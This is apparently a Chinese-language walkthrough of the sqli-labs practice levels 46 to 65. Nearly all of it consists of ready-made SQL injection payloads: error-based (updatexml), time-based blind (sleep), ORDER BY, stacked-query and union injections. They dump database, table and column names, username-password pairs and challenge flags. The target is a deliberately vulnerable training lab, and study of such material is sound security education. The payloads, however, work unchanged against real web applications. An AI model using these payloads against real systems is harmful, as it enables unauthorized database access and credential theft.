Order by注入,利用报错注入可以爆出数据库信息
暴库:?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));
爆表:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0));
爆字段:?sort=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0));
爆值:?sort=1 and(updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1)),0));
和less46一样,是order by注入,这里需要用单引号闭合
暴库:?sort=1' and(updatexml(1,concat(0x7e,(select database())),0));--+
爆表:?sort=1' and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),0));--+
爆字段:?sort=1' and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),0));--+
爆值:?sort=1' and(updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1)),0));--+
Order by注入,数字型的时间盲注
判断名字长度:?sort= 1 and if(length(database())>8,0,sleep(5))--+
暴库:?sort= 1 and if(ascii(substr(database(),1,1))>100, 0, sleep(5))--+
爆表:?sort= 1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5))--+
爆字段:?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))--+
爆值:?sort= 1 and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))--+
和less48一样,利用时间盲注,不同的是这里是字符型的,需要用单引号闭合
判断名字长度:?sort= 1 and if(length(database())>8,0,sleep(5))--+
暴库:?sort= 1 ' and if(ascii(substr(database(),1,1))>100, 0, sleep(5))--+
爆表:?sort= 1 ' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5))--+
爆字段:?sort= 1 ' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))--+
爆值:?sort= 1 ' and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))--+
主要考察堆叠注入,也可以用报错注入及时间盲注
Payload:?sort= 1; create table less50 like users;
和less50一样,不同之处在于这里要用单引号闭合
Payload:?sort= 1'; create table less51 like users;
和less50一样,只是少了报错信息而已,所以这关不能用报错注入
和less51一样,只是少了报错信息而已,所以这关不能用报错注入
这关主要目的是找flag,而且限制查询次数为10次
查表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
查字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='LSAJ0B6O32'--+
拿flag:?id=-1' union select 1,2,secret_9JFP from LSAJ0B6O32--+
这关和less54基本一样,不同之处在于这里的id值是用)闭合的,有14次机会
查表:?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
查字段:?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='RBG0H8QAGH'--+
拿flag:?id=-1) union select 1,2,secret_MA84 from RBG0H8QAGH--+
这关和前面的一样,不同之处在于这里的id值是用’)闭合的,有14次机会
查表:?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
查字段:?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='TRHM6LHUOA'--+
拿flag:?id=-1') union select 1,2,secret_NNCE from TRHM6LHUOA--+
这关和前面的一样,不同之处在于这里的id值是用”闭合的,有14次机会
查表:?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
查字段:?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='JYS4QTFQ1Q'--+
拿flag:?id=-1" union select 1,2,secret_N3CX from JYS4QTFQ1Q--+
使用报错注入,有5次机会
查表:?id=1' and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+
查字段:?id=1' and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='SMDG0YXULR')),0));--+
拿flag:?id=1' and(updatexml(1,concat(0x7e,(select secret_IEA6 from SMDG0YXULR)),0));--+
这关less58一样,不同之处在于这里的id值是数字型不需闭合,有5次机会
查表:?id=1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+
查字段:?id=1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ZL7PTMIQTS')),0));--+
拿flag:?id=1 and(updatexml(1,concat(0x7e,(select secret_H46U from ZL7PTMIQTS)),0));--+
同上,不同之处在于这里的id值是用”)闭合的,有5次机会
查表:?id=1") and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+
查字段:?id=1") and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='J7V35MEKFK')),0));--+
拿flag:?id=1") and(updatexml(1,concat(0x7e,(select secret_V4S2 from J7V35MEKFK)),0));--+
同上,不同之处在于这里的id值是用’))闭合的,有5次机会
查表:?id=1')) and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges')),0));--+
查字段:?id=1')) and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='3JN35INZHU')),0));--+
拿flag:?id=1')) and(updatexml(1,concat(0x7e,(select secret_RS9Z from 3JN35INZHU)),0));--+
时间盲注,有130次机会
查表:?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))>100, 0, sleep(5))--+
查字段:?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1))>100, 0, sleep(5))--+
拿flag:?id=1') and if(ascii(substr((select 字段名 from 表名 limit 0,1),1,1))>100, 0, sleep(5))--+
这关和less62一样,不同之处在于这里的id值是用’闭合的
同上,不同之处在于这里的id值是用))闭合的
同上,不同之处在于这里的id值是用”)闭合的
Less46-47 order by注入,报错注入
Less48-49 order by注入,时间盲注
Less50-53 堆叠注入
Less54-57 拿flag,联合查询注入
Less58-61 拿flag,报错注入
Less62-65 拿flag,时间盲注
https://blog.csdn.net/harrywade/article/details/81842491